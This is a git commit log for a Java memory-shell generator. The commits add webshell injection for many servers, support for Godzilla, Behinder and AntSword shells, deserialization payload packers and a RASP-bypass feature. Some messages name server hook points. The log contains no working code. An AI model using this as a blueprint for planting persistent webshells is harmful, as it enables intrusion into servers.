ReaJason 6fee88d761 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason d6613f770a chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 5627604ba9 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason c1e0fbbc18 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason 74079d81ed test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 9792f242ce test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 3ae57d6b67 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 69f554ae4e feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason 8565dd9c52 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 021e0a3e9d refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason dc958d49df fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 5f83b52bc0 docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 59bcd6aecf docs: update screenshots 2025-05-28 22:33:49 +08:00
ReaJason d1a2912428 chore: 1.9.0 2025-05-28 01:22:54 +08:00
ReaJason 006cce6a74 docs: update CHANGELOG 2025-05-28 01:22:54 +08:00
ReaJason 8d240f2a50 feat: compact mode 2025-05-28 01:22:54 +08:00
ReaJason 9d03c04dfa fix: disconnected 2025-05-28 01:22:54 +08:00
ReaJason 8e4dd5ab6a style: lint 2025-05-28 01:22:54 +08:00
ReaJason 8ae71c5b6b chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 566286a8fa refactor: simplify shell generator 2025-05-28 01:22:54 +08:00
ReaJason 9692ab6e7b fix: Jakarta WebSocket not work 2025-05-28 01:22:54 +08:00
ReaJason c75cb2f8ef refactor: use yup custom validator 2025-05-28 01:22:54 +08:00
ReaJason e31fcdeca9 refactor: simplify component 2025-05-28 01:22:54 +08:00
ReaJason f734e3c391 feat: use unsafe by reflection 2025-05-28 01:22:54 +08:00
ReaJason 8558487b6c refactor: optimize imports 2025-05-28 01:22:54 +08:00
ReaJason c5ad3e81cb feat: support TongWeb8 2025-05-28 01:22:54 +08:00
ReaJason 18c0920c27 feat: show urlPattern option when needed 2025-05-28 01:22:54 +08:00
ReaJason ddfa273938 fix(ui): show one column in phone 2025-05-28 01:22:54 +08:00
ReaJason 4a1359a736 feat: shrink by default 2025-05-28 01:22:54 +08:00
ReaJason d197691bed feat: support custom command implementation 2025-05-28 01:22:54 +08:00
ReaJason f7e401bd46 test: add cases 2025-05-28 01:22:54 +08:00
ReaJason cd10fe9a2c style: lint 2025-05-28 01:22:54 +08:00
ReaJason 21acf71af6 build: upgrade boot 2025-05-28 01:22:54 +08:00
ReaJason bb8e4c7a7e feat: add diff tips for attacher 2025-05-28 01:22:54 +08:00
ReaJason 627ecf6465 test: add JRE and JDK Attacher test cases 2025-05-28 01:22:54 +08:00
ReaJason 0658f103cc feat: shrink agentJar by default 2025-05-28 01:22:54 +08:00
ReaJason b134b5a5a7 build: Gradle 8.14.1 2025-05-28 01:22:54 +08:00
ReaJason cc6bed07a1 docs: update README 2025-05-28 01:22:54 +08:00
ReaJason 5d5f866744 fix: Apusic Listener not work 2025-05-28 01:22:54 +08:00
ReaJason cf82dd9470 chore: upgrade example dep version 2025-05-28 01:22:54 +08:00
ReaJason b06a39d1b8 chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 19faf77d5c feat: support AgentAttacher Packer 2025-05-28 01:22:54 +08:00
ReaJason a3704eb7b7 feat: use ASM Agent by default 2025-05-28 01:22:54 +08:00
ReaJason eeed6e45c7 fix: support AES_BASE64 GodzillaWebSocket by default 2025-05-28 01:22:54 +08:00
ReaJason 3c1c1cb8fc feat: support webAppClassLoader 2025-05-28 01:22:54 +08:00
ReaJason 26d72cb909 refactor: remove unused code 2025-05-28 01:22:54 +08:00
ReaJason 70c128ced1 docs: update CHANGELOG 2025-05-14 01:29:12 +08:00
ReaJason dd2d9a8a3e ci: add docker build test 2025-05-14 01:13:44 +08:00
ReaJason ea955feccd chore: 1.8.0 2025-05-14 00:59:31 +08:00
ReaJason 6c84c44005 docs: update 2025-05-14 00:47:22 +08:00
ReaJason b581583dce refactor: rename 2025-05-14 00:34:32 +08:00
ReaJason a037e5d043 chore: upgrade deps 2025-05-14 00:34:32 +08:00
ReaJason 06dc282cff test: add godzilla ws case 2025-05-14 00:34:32 +08:00
ReaJason cae0a38a7a test: update docker-compose yamls 2025-05-14 00:34:32 +08:00
ReaJason d69df0d1c1 test: deploy failed in some middleware 2025-05-14 00:34:32 +08:00
ReaJason 942fa3ec68 test: godzilla websocket failed 2025-05-14 00:34:32 +08:00
ReaJason f52efcb7a2 feat: add websocket godzilla 2025-05-14 00:34:32 +08:00
ReaJason f55702ecda fix: jetty ee10 listener failed 2025-05-14 00:34:32 +08:00
ReaJason bc53918455 chore: update .gitignore 2025-05-14 00:34:32 +08:00
ReaJason ac2b28c1f3 test: add jetty ee8 ~ ee10 cases 2025-05-14 00:34:32 +08:00
ReaJason e68355df8b feat: support jetty ee8 ~ ee10 env 2025-05-14 00:34:32 +08:00
ReaJason e4a5215f5f fix: scriptEngine payload error 2025-05-14 00:34:32 +08:00
ReaJason 4f8ff51f8b feat: add groovy definer packer 2025-05-14 00:34:32 +08:00
ReaJason fc9877aa3a refactor: simplify code 2025-05-14 00:34:32 +08:00
ReaJason 8bb338d5a1 fix: ws command encryptor not work 2025-05-14 00:34:32 +08:00
ReaJason 0e2abdecb3 fix: downgrade runtime.exec 2025-05-14 00:34:32 +08:00
ReaJason f934e1e7ed fix: forkAndExec jdk7 & jdk11 2025-05-14 00:34:32 +08:00
ReaJason 330544c7f7 feat: support Primeton App Server 2025-05-14 00:34:32 +08:00
ReaJason 0fe51f8ec0 fix: JDK6 forkAndExec run failed 2025-05-14 00:34:32 +08:00
ReaJason d2efb56dbc chore: upgrade shadow Gradle plugin 2025-05-14 00:34:32 +08:00
ReaJason 827462bcc6 test: use right JDK version 2025-05-14 00:34:32 +08:00
ReaJason e59678188a feat: command unsafe bypass RASP 2025-05-14 00:34:32 +08:00
ReaJason 0ea1e7baba fix: xxl-job NPE 2025-05-14 00:34:32 +08:00
ReaJason d0ee5c66bf test: use pgrep command 2025-05-14 00:34:32 +08:00
ReaJason 0ee64df302 perf: init on startup 2025-05-14 00:34:32 +08:00
ReaJason 565d05340e feat: support command encryptor 2025-05-14 00:34:32 +08:00
ReaJason 761de0af90 refactor: dynamic add getFieldValue method for Listener 2025-05-14 00:34:32 +08:00
ReaJason 50a9aec83c style: unify fetch threads 2025-05-14 00:34:32 +08:00
ReaJason 3ecdbf020d test: add SpringBoot3 Tomcat test cases 2025-05-14 00:34:32 +08:00
ReaJason 65d097c43d ci: speed up integration test 2025-04-23 00:41:10 +08:00
ReaJason 825c276d4e feat: shrink TemplatesImpl fooBytes 2025-04-23 00:10:48 +08:00
ReaJason b8f3b67ba4 test: rm SpringBoot3 Tomcat testcases 2025-04-23 00:10:48 +08:00
ReaJason 59621eefec test: jboss4 PermGen OOM 2025-04-23 00:10:48 +08:00
ReaJason a0e9dfbc85 fix: SpringBoot Undertow and Jetty Shell inject failed 2025-04-23 00:10:48 +08:00
ReaJason 98281f0eae fix: SpringBoot Tomcat Shell Inject failed 2025-04-23 00:10:48 +08:00
ReaJason 2851c5d9e0 build: upgrade bun image version for fast build 2025-04-16 20:47:05 +08:00
ReaJason 02bc358498 docs: exchange word 2025-04-13 01:20:56 +08:00
ReaJason 2fe3f82ebc docs: link error 2025-04-13 01:09:33 +08:00
ReaJason 8e89db5b96 docs: update README 2025-04-13 01:08:26 +08:00
ReaJason 8f46ea2e5e docs: link error 2025-04-13 01:06:30 +08:00
ReaJason 9299764994 docs: update README 2025-04-13 01:04:19 +08:00
ReaJason d0b3ad2d95 docs: add English README 2025-04-13 01:01:36 +08:00
ReaJason 29f854c6dd refactor: format code 2025-04-12 21:48:23 +08:00
ReaJason 29d0d1b1e7 docs: add filter and listener (#27) 2025-04-12 21:36:35 +08:00
ReaJason 93fc7205cc docs: add ; for code 2025-04-11 00:02:57 +08:00
ReaJason f86675aee1 docs: add java servlet md (#27) 2025-04-10 23:53:19 +08:00
ReaJason ecfe751f38 docs: add recommended tools md (#27) 2025-04-10 00:04:16 +08:00
ReaJason 8e3dee8d13 docs: add self product intro 2025-04-08 23:04:23 +08:00
ReaJason 6a899d9f92 docs: add memshell intro 2025-04-08 22:59:44 +08:00
ReaJason 7bb4890443 docs: add maven central badge 2025-04-06 19:07:24 +08:00
ReaJason 66c6403dd7 docs: update README 2025-04-06 14:15:43 +08:00
ReaJason 9fa0cdd089 docs: update README 2025-04-06 14:11:13 +08:00
ReaJason abe55ba17e chore: 1.7.0 [skip ci] 2025-04-06 14:06:05 +08:00
ReaJason feb5a2b44a ci: support release maven deploy 2025-04-06 13:55:17 +08:00
ReaJason bc5e813064 docs: update CHANGELOG 2025-04-06 13:55:17 +08:00
ReaJason bfb7280c47 docs: add sdk usage example 2025-04-06 13:55:17 +08:00
ReaJason 8c9cb252db test: revert error 2025-04-06 13:55:17 +08:00
ReaJason a441e468fb test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason f280cddb67 build(ui): module not found 2025-04-06 13:55:17 +08:00
ReaJason b6de448171 test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason 81f42aae39 ci: update name 2025-04-06 13:55:17 +08:00
ReaJason da5db939be feat: support maven deploy 2025-04-06 13:55:17 +08:00
ReaJason e1540f1c05 refactor: use Jackson not Fastjson for smaller jar size 2025-04-06 13:55:17 +08:00
ReaJason accf83ac9d refactor: remove codec dependency 2025-04-06 13:55:17 +08:00
ReaJason f57ee7536c fix: use snapshot version for dev 2025-04-06 13:55:17 +08:00
ReaJason ffd2a636f4 refactor: rename modules 2025-04-06 13:55:17 +08:00
ReaJason 6b47b8e488 feat: support random param and default config (#50) 2025-04-06 13:55:17 +08:00
ReaJason 85e9eb8c70 refactor: use react router 2025-04-06 13:55:17 +08:00
ReaJason 47ea535fac revert: obfuscation (#13) 2025-04-06 13:55:17 +08:00
ReaJason 540559653f chore: upgrade ui components 2025-04-06 13:55:17 +08:00
ReaJason 8a0e3ee5de fix: behinder payload classname is invalid 2025-04-06 13:55:17 +08:00
ReaJason bc9ce37a52 feat: add three implementations for agent memshell 2025-04-06 13:55:17 +08:00
ReaJason 02c7abd086 feat: support CC payload generate 2025-04-06 13:55:17 +08:00
ReaJason 8eab3f5633 docs: update screenshots 2025-03-30 16:31:32 +08:00
ReaJason 0f03072b56 docs: update README 2025-03-30 16:17:55 +08:00
ReaJason 2f59fc80fb docs: update CHANGELOG 2025-03-30 15:33:31 +08:00
ReaJason 901a2b3af0 test: not support obfuscation for jetty suo5 filter 2025-03-30 15:33:31 +08:00
ReaJason 8deff1c8d9 feat: add Godzilla MethodVisitor (but not working for now) 2025-03-30 15:33:31 +08:00
ReaJason ad05c8f2da feat: support simple obfuscation (#13) 2025-03-30 15:33:31 +08:00
ReaJason e228065aa0 test: support advisor and asm agent unit test 2025-03-30 15:33:31 +08:00
ReaJason af0135286d test: update docker-compose yaml 2025-03-30 15:33:31 +08:00
ReaJason 722da5560e docs: update README 2025-03-30 15:33:31 +08:00
ReaJason b6e34e4beb refactor: extract method 2025-03-30 15:33:31 +08:00
ReaJason 3ced92f2d0 feat: support asm relocate to ignore server inner asm 2025-03-30 15:33:31 +08:00
ReaJason 476d92f173 chore: update .gitignore 2025-03-30 15:33:31 +08:00
ReaJason 3c7fd8aca5 test: weblogic 14 asm not work on asm 9 2025-03-30 15:33:31 +08:00
ReaJason c93ab0e7e0 feat: support other server command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 89cd4fef62 feat: support jetty command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason e6d9ddb210 build: cannot find symbol 2025-03-30 15:33:31 +08:00
ReaJason a042900052 feat: support undertow agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 23d3628786 test: glassfish3 internal asm version too low 2025-03-30 15:33:31 +08:00
ReaJason 4a9217aa3a feat: add agent memshell playground (#51) 2025-03-30 15:33:31 +08:00
ReaJason dd4832a5a8 feat: support command agent with asm on filterChain and contextValve (#51) 2025-03-30 15:33:31 +08:00
ReaJason db579ce39e chore: update dep 2025-03-30 15:33:31 +08:00
ReaJason 4c70dc9148 docs: update 2025-03-30 15:33:31 +08:00
ReaJason d97ddbd1cc perf: simplify jetty getContext method 2025-03-30 15:33:31 +08:00
ReaJason b8e91a3697 style: react component prop readonly 2025-03-30 15:33:31 +08:00
ReaJason 5d97780e34 fix: dev version no update 2025-03-30 15:33:31 +08:00
ReaJason a7751a0467 ci: add dev auto deploy 2025-03-30 15:33:31 +08:00
ReaJason 5abaa5bbc1 feat: support custom shell generator (#49) 2025-03-30 15:33:31 +08:00
ReaJason b3780135bb chore: upgrade dep 2025-03-30 15:33:31 +08:00
ReaJason c1fefd3510 chore: rm files 2025-03-30 15:33:31 +08:00
ReaJason ff70a5f2fe ci: rm useless steps 2025-03-09 02:14:02 +08:00
ReaJason d7faa6a59f build: reduce image size 2025-03-09 02:13:35 +08:00
ReaJason 675272a04c docs: update CHANGELOG 2025-03-01 23:16:31 +08:00
ReaJason a284cbbd02 chore: enhance phone ui 2025-03-01 23:11:41 +08:00
ReaJason 9073a97eec feat(ui): support show update button 2025-03-01 23:11:41 +08:00
ReaJason de2864b892 ci: release body add update steps [skip ci] 2025-03-01 23:11:40 +08:00
ReaJason 49819156ab fix(ui): generate fail 2025-02-28 23:25:28 +08:00
ReaJason 452e057bd1 fix: NeoreGeorg proxy not work 2025-02-28 23:24:31 +08:00
ReaJason dfd6328494 style: format code 2025-02-28 22:44:10 +08:00
ReaJason b78f5dad1c chore: upgrade Gradle 8.13 2025-02-28 22:41:09 +08:00
ReaJason fefe25cbce refactor(ui): separate each component into single file 2025-02-28 22:40:45 +08:00
ReaJason 30a141c8d4 fix: use server shell tool order 2025-02-28 22:40:45 +08:00
ReaJason c95a6da29f refactor: simplify valve shell code 2025-02-28 22:40:45 +08:00
ReaJason 688de30965 test: add SpringBoot1 vul case (resolved #22) 2025-02-28 22:40:45 +08:00
ReaJason b7c6303966 feat: support Neo-reGeorg shell generate (#35) 2025-02-28 22:35:14 +08:00
ReaJason e6d1aeac3c docs: update screenshots 2025-02-27 00:30:01 +08:00
ReaJason 4f58e13c00 docs: update CHANGELOG 2025-02-26 20:47:05 +08:00
ReaJason a47033d051 test: default shrink enabled 2025-02-26 20:47:05 +08:00
ReaJason 0192aa58ea test: war file error 2025-02-26 20:24:59 +08:00
ReaJason 00b807f5f8 feat: support Tomcat Jakarta WebSocket 2025-02-26 20:21:25 +08:00
ReaJason cd189a74f7 build(ui): enahnce cross-platform dx 2025-02-26 20:20:49 +08:00
ReaJason 690cfb833f fix: custom injectorClassName not work 2025-02-26 20:20:03 +08:00
ReaJason 45f2bb148d feat: support bytecode shrink
1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
2025-02-26 20:19:30 +08:00
ReaJason e7a14bf2e3 test: test compile error 2025-02-26 20:13:53 +08:00
ReaJason 28fb25781b ci: release body is empty 2025-02-25 01:59:45 +08:00
ReaJason 58f471ca2c docs: update README 2025-02-25 01:41:40 +08:00
ReaJason db87c3f317 test: test order list is important 2025-02-25 01:41:28 +08:00
ReaJason 5635deff23 test: random name hit key words 2025-02-25 00:45:20 +08:00
ReaJason bda018b93f docs: update CHANGELOG 2025-02-25 00:39:24 +08:00
ReaJason 4d36c0bc8f docs: add Dockerfile build steps (resolved #44) 2025-02-25 00:31:08 +08:00
ReaJason ad4a0cf2bf ci: rm useless arg 2025-02-25 00:14:24 +08:00
ReaJason 9c820f9d29 build: build docker image with one Dockerfile (#44) 2025-02-25 00:14:11 +08:00
ReaJason a48442fcab build: optimize copy html script 2025-02-25 00:12:38 +08:00
ReaJason 68791f6c15 chore: update deps 2025-02-25 00:11:37 +08:00
ReaJason 479b2a0c16 fix: tomcat WebSocket shell not work (#25) 2025-02-25 00:11:16 +08:00
ReaJason a148fa1cb9 refactor: move class 2025-02-25 00:09:44 +08:00
ReaJason 116f1034b0 test: fix failed cases 2025-02-23 18:11:49 +08:00
ReaJason db55765fdf chore: update gitignore 2025-02-23 16:58:28 +08:00
ReaJason 8b67d639bd build: support auto download toolchains 2025-02-23 16:53:01 +08:00
ReaJason cead11c781 docs: add local build command 2025-02-23 16:51:22 +08:00
ReaJason 43dc5ca398 build(boot): Dockerfile support BOOT_OPTS env 2025-02-23 16:45:27 +08:00
ReaJason ede78f3efc refactor: supported unified test cases provider 2025-02-23 16:44:35 +08:00
ReaJason 72370a3b84 build(ui): support base_path 2025-02-23 02:33:09 +08:00
ReaJason ad248f0703 fix(ui): version show html when it failed 2025-02-23 02:33:09 +08:00
ReaJason 358f66ff01 feat: support shell registry for all server 2025-02-23 02:33:09 +08:00
ReaJason 76a78f14e0 refactor: simplify valve shell register 2025-02-23 02:33:09 +08:00
ReaJason 33a9008ecb chore: rm debug log 2025-02-23 02:33:09 +08:00
ReaJason b27b40c543 refactor: optimize import 2025-02-23 02:33:09 +08:00
ReaJason 74cc792dc6 test: rm log 2025-02-23 02:33:09 +08:00
ReaJason 348e86079a refactor: move members 2025-02-23 02:33:09 +08:00
ReaJason d4160d9a94 fix: undertow listener failed 2025-02-23 02:33:09 +08:00
ReaJason 19c40e0e2d refactor: rm useless code 2025-02-23 02:33:09 +08:00
ReaJason b49af93bec test: class import error 2025-02-23 02:33:09 +08:00
ReaJason d9e3e03def refactor: simplify memshell generate map register 2025-02-23 02:33:09 +08:00
ReaJason bba2b2d211 ci: set-output command is deprecated 2025-02-23 02:33:09 +08:00
ReaJason 56f0e8001d ci: optimize docker push order 2025-02-23 02:33:09 +08:00
ReaJason 2f80ecb020 ci: change scripts location 2025-02-23 02:33:09 +08:00
ReaJason b3bda20f2c fix(ui): shell type not reset when server changed 2025-02-21 00:32:24 +08:00
ReaJason be5a2089d2 ci: support jar file release 2025-02-21 00:16:48 +08:00
ReaJason 9d2e8125d9 fix: remove log 2025-02-20 23:59:23 +08:00
ReaJason 8964769be8 docs: update CHANGELOG 2025-02-20 23:53:26 +08:00
ReaJason 3acab6e620 feat: add loading component 2025-02-20 23:52:02 +08:00
ReaJason 5148414ca8 fix(ui): shell type not changed when server changed 2025-02-20 23:45:52 +08:00
ReaJason 0b10a55f66 test: change deserialize image name 2025-02-20 23:32:00 +08:00
ReaJason cbf2d02808 docs: update 2025-02-20 23:19:07 +08:00
ReaJason 775fc38abe ci: not run test in tag push [skip ci] 2025-02-20 23:19:07 +08:00
ReaJason 6b3f4a2606 chore: remove redundant dep 2025-02-20 23:13:23 +08:00
ReaJason 52c720572f fix(ui): packResult not changed when regenerate 2025-02-20 22:28:34 +08:00
ReaJason 5e2242665b chore: gradle 8.12.1 2025-02-20 22:28:34 +08:00
ReaJason cdd145d0b2 chore: rm socket dep 2025-02-20 22:28:34 +08:00
ReaJason 18aa8ed60d feat: support hessian packer (#36) 2025-02-20 22:28:34 +08:00
ReaJason 3e40763724 refactor: rename class 2025-02-20 22:04:00 +08:00
ReaJason eda6134262 chore: upgrade testcontainers and junit 2025-02-20 21:56:42 +08:00
ReaJason 9d81160b33 docs: update CHANGELOG 2025-02-19 22:21:17 +08:00
ReaJason 115b57c62e test: deserialize test container startup failed 2025-02-19 22:21:17 +08:00
ReaJason 1b8a845635 feat: enhance responsive layout and improve i18n support (#39) 2025-02-19 22:21:17 +08:00
ReaJason 3ccbd14256 fix: cb110 serializeVersionUID change failed 2025-02-19 22:21:17 +08:00
ReaJason 56510c89db test: add CB4 multi version gadgets integration test 2025-02-19 22:21:17 +08:00
ReaJason 358184f71b test: use annotation to simplify register servlet 2025-02-19 22:21:17 +08:00
ReaJason 6ee9e31aa8 ci: skip png file push 2025-02-19 00:30:01 +08:00
ReaJason 501f7a2d10 docs: update screenshots 2025-02-19 00:25:31 +08:00
ReaJason 8b3c23241a docs: update CHANGELOG 2025-02-19 00:10:04 +08:00
ReaJason 3af560a5e0 docs: add changelog 2025-02-19 00:04:29 +08:00
ReaJason a8d1b5e29a fix: keyword is not allowed for classname 2025-02-19 00:04:29 +08:00
ReaJason 21f9af2f70 test: rm failed case 2025-02-19 00:04:29 +08:00
ReaJason 583abbf9ba feat: support AntSword shell generate (#34) 2025-02-19 00:04:29 +08:00
ReaJason e71f980991 feat: support cb4 other version payload packers 2025-02-19 00:04:29 +08:00
ReaJason d9c3bcb5dd docs: fix typo 2025-02-17 22:39:09 +08:00
ReaJason 61905e35ca docs: change notes location 2025-02-16 00:08:15 +08:00
ReaJason 27f3a7b206 docs: update badges 2025-02-15 23:45:43 +08:00
ReaJason bcb9d23f64 docs: update README 2025-02-15 23:31:52 +08:00
ReaJason d993a54fa9 fix: optimize form fields reset 2025-02-15 14:12:26 +08:00
ReaJason 7eb8baeaf2 docs: update CHANGELOG 2025-02-15 13:50:04 +08:00
ReaJason 591375f522 docs: update README 2025-02-15 13:50:04 +08:00
ReaJason 6436d404d7 ci: test not run in other branck 2025-02-15 13:50:04 +08:00
ReaJason ef487f86d2 build: version not work in IDEA 2025-02-15 13:50:04 +08:00
ReaJason 011f919e2a chore: upgrade to Tailwind CSS v4 2025-02-15 13:50:04 +08:00
ReaJason f8624f0e72 fix: sonner theme not work 2025-02-15 13:50:04 +08:00
ReaJason b287fcd36f feat(ui): support suo5 generate 2025-02-15 13:50:04 +08:00
ReaJason 7fb404f04f feat: support other middleware suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason 45dc276300 feat: support tomcat suo5 shell 2025-02-15 13:50:04 +08:00
ReaJason e811ca56ae docs: update README 2025-02-03 01:46:07 +08:00
ReaJason 58dd08754d ci: parse changelog failed 2025-02-03 01:24:13 +08:00
ReaJason 6145918df7 ci: release body is empty 2025-02-03 01:10:28 +08:00
ReaJason 6671dec9e6 build: boot docker build error 2025-02-03 00:47:12 +08:00
ReaJason f53c0655d4 ci: add needs 2025-02-03 00:35:51 +08:00
ReaJason 1bcecaa151 ci: do not run test in release ci 2025-02-03 00:35:34 +08:00
ReaJason e21b397699 docs: add v1.0.0 changelog 2025-02-03 00:26:50 +08:00
ReaJason cd870594b0 ci: add release ci 2025-02-03 00:26:35 +08:00
ReaJason 067dae90ff feat: add version badge in ui 2025-02-03 00:25:45 +08:00
ReaJason 69b5b5e99f ci: rm coverage 2025-02-02 22:22:40 +08:00
ReaJason 29edaf173a chore: unify project version 2025-02-02 22:20:47 +08:00
ReaJason 4f8ab4d16a ci: auto deploy [skip ci] 2025-02-02 17:40:44 +08:00
ReaJason ee3bab6876 ci: image name error [skip ci] 2025-02-02 15:28:45 +08:00
ReaJason 6523ecd554 ci: syntax error [skip ci] 2025-02-02 15:22:16 +08:00
ReaJason f97c0cd3db ci: fetch depth 0 [skip ci] 2025-02-02 15:18:21 +08:00
ReaJason 7da215bd35 ci: add GitHub container docker push 2025-02-02 15:18:05 +08:00
ReaJason 8171da5df3 refactor: rename packer 2025-01-30 20:49:56 +08:00
ReaJason 92e38ae004 feat: support bsh packer 2025-01-30 18:09:44 +08:00
ReaJason 6113ea717f feat: support rhino and jinjava packer 2025-01-30 17:24:14 +08:00
ReaJason a6cc7705c3 ci: update badge 2025-01-29 14:19:20 +00:00
ReaJason 84b884a3d8 feat: support more expression packer 2025-01-29 22:05:25 +08:00
ReaJason 828b7b8400 refactor: simplify expression packer 2025-01-29 19:58:02 +08:00
ReaJason 786e58cafc feat: support mvel packer 2025-01-29 19:54:17 +08:00
ReaJason 5ce3e67dc4 docs: update screenshots 2025-01-29 11:39:36 +08:00
ReaJason 94e29588bb fix: build error 2025-01-27 17:42:05 +08:00
ReaJason fa1ca573ae ci: update badge 2025-01-27 09:24:30 +00:00
ReaJason 78795f3b95 test: build error 2025-01-27 17:07:18 +08:00
ReaJason 3efe814d30 feat: support multi payload generate 2025-01-27 17:02:32 +08:00
ReaJason 8d7ed8c4ee refactor: shell mount type ordered 2025-01-27 16:24:27 +08:00
ReaJason cc58c2ef87 ci: update badge 2025-01-25 12:47:36 +00:00
ReaJason 4f69497680 refactor: use platform to manage dependency
1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
2025-01-25 20:30:08 +08:00
ReaJason c046d466db ci: update badge 2025-01-23 00:34:16 +00:00
ReaJason 9291281a4e refactor: simplify XXLJOB packer 2025-01-23 08:25:44 +08:00
ReaJason 50234947b7 ci: update badge 2025-01-22 11:03:35 +00:00
ReaJason 075ce8c515 test: resin and jetty failed 2025-01-22 18:50:25 +08:00
ReaJason ca4c1d6e4b feat: support xxl-job executor NettyHandler (#30)
Only support jdk8, in jdk11 or jdk17 env, you should use file write and use urlClassLoader to load injectorClass or else.
2025-01-22 18:36:19 +08:00
ReaJason d4067caee5 feat: support jar packer 2025-01-22 18:29:42 +08:00
ReaJason cf65fbb53c feat: support GZIPBase64 packer 2025-01-22 18:29:42 +08:00
ReaJason 962914fa8d fix: build error 2025-01-20 00:39:14 +08:00
ReaJason f90f0f0713 feat: support i18n [skip ci] 2025-01-20 00:34:10 +08:00
ReaJason a64238eea0 docs: update README 2025-01-18 20:25:54 +08:00
ReaJason ce11635876 ci: update badge 2025-01-18 12:24:05 +00:00
ReaJason 1015c55b6d test: npe 2025-01-18 20:14:47 +08:00
ReaJason 8ed16fc818 docs: update screenshots 2025-01-18 20:00:40 +08:00
ReaJason 24a9b563e6 refactor: enhance web ux 2025-01-18 20:00:24 +08:00
ReaJason 8d5af74733 fix: tomcat filter shell not work
tomcat filter shell classname startsWith org.apache.catalina.web.handlers will not work
2025-01-18 19:54:04 +08:00
ReaJason 363d0591dc refactor: rename webflux 2025-01-18 18:28:46 +08:00
ReaJason fe1a443c0d refactor: rename springwebmvc 2025-01-18 18:28:46 +08:00
ReaJason 113b174837 feat: support springwebmvc agent shell
1. hook point is org.springframework.web.servlet.FrameworkServlet.service
2025-01-18 18:28:46 +08:00
ReaJason f42424ba7c ci: update badge 2025-01-09 17:37:27 +00:00
ReaJason 19ecd109fc Revert "fix: GlassFish war deploy failed"
This reverts commit 974cf3ccaa.
2025-01-10 01:28:08 +08:00
ReaJason 9f763906ae docs: update README 2025-01-10 01:15:49 +08:00
ReaJason be91430bd5 feat: support JBossAS contextValve agent shell 2025-01-10 01:15:40 +08:00
ReaJason 5bed6c877d feat: suport bes agent shell 2025-01-10 01:07:34 +08:00
ReaJason 633508ceda feat: support TongWeb agent shell 2025-01-10 00:56:58 +08:00
ReaJason e26cb37805 fix: GlassFish war deploy failed 2025-01-10 00:56:26 +08:00
ReaJason 3efda487e9 feat: support inforsuite agent shell 2025-01-10 00:56:26 +08:00
ReaJason f92d7207c8 feat: support GlassFish agent shell (#23)
1. hook point1 is org.apache.catalina.core.ApplicationFilterChain.doFilter
2. hook point2 is org.apache.catalina.core.StandardContextValve.invoke
3. GlassFish use osgi module, cipher class not in web-core, so that should use ContextClassLoader (resolved #23)
2025-01-10 00:56:26 +08:00
ReaJason 5540016f12 feat: support tomcat context valve agent shell 2025-01-10 00:56:26 +08:00
ReaJason 0402065457 ci: update badge 2025-01-08 17:15:41 +00:00
ReaJason 9fae3847ae docs: update README 2025-01-09 01:06:33 +08:00
ReaJason f4bc254ed3 feat: support jetty agent shell (#19)
1. hook point is org.eclipse.jetty.servlet.ServletHandler.doHandle
2. it doesn't support jetty6, org.mortbay.jetty.servlet.ServletHandler#handle, because ldc visit cannot support java1.4
2025-01-09 01:04:31 +08:00
ReaJason a1d4a6d8fa docs: update README 2025-01-08 00:03:05 +08:00
ReaJason 7afa5d97f6 ci: update badge 2025-01-07 15:39:06 +00:00
ReaJason a6f5ee96d6 feat: support undertow agent shell (#21)
1. hook point is io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest, resolved #21
2. fix godzilla payload error in some module system that cost my five hour to debug
2025-01-07 23:26:59 +08:00
ReaJason 1f04701cc1 ci: update badge 2025-01-07 13:27:17 +00:00
ReaJason b272c9739b ci: was7 failed 2025-01-07 21:18:32 +08:00
ReaJason b5903f39fa test: unit test npe 2025-01-07 20:44:05 +08:00
ReaJason 99c53b6287 feat: support resin agnet shell(#20)
hook point is com.caucho.server.dispatch.FilterFilterChain.doFilter (resolved #20)
2025-01-07 20:28:51 +08:00
ReaJason 1dfc28cd33 feat: support jbossas agent shell 2025-01-07 10:02:51 +08:00
ReaJason c44ae3ad4f test: add nettyHandler test 2025-01-07 10:02:51 +08:00
ReaJason b5031012ba feat: use ldc and reflection (#26)
1. remove servlet-api dependency
2. remove class reference (resolved #26), but it doesn't work for java4
2025-01-07 10:02:51 +08:00
ReaJason 5340de9b71 fix: change weblogic agent hook 2025-01-07 10:02:51 +08:00
ReaJason f71657b11c fix: was7 agent shell fail sometime 2025-01-07 10:02:51 +08:00
ReaJason d6612d7630 ci: update badge 2025-01-05 07:54:03 +00:00
ReaJason 858212cd9c docs: update CONTRIBUTING 2025-01-05 15:44:57 +08:00
ReaJason 8e36beaad1 feat: support webflux netty shell (#8) 2025-01-05 15:44:43 +08:00
ReaJason d511a8346f test: add websphere7 integration test (resolved #16) 2025-01-04 23:24:11 +08:00
ReaJason b8116ac0a5 docs: update README 2025-01-04 11:26:41 +08:00
ReaJason 155310a685 ci: update badge 2025-01-04 03:24:26 +00:00
ReaJason a6a1cff2c4 ci: websphere agent test failed 2025-01-04 11:18:03 +08:00
ReaJason 7ae28d5457 fix: build error 2025-01-04 10:51:45 +08:00
ReaJason 8a909971f1 ci: only support manually push 2025-01-04 10:48:57 +08:00
ReaJason 371402c144 feat: support was and weblogic agent shell 2025-01-03 22:05:54 +08:00
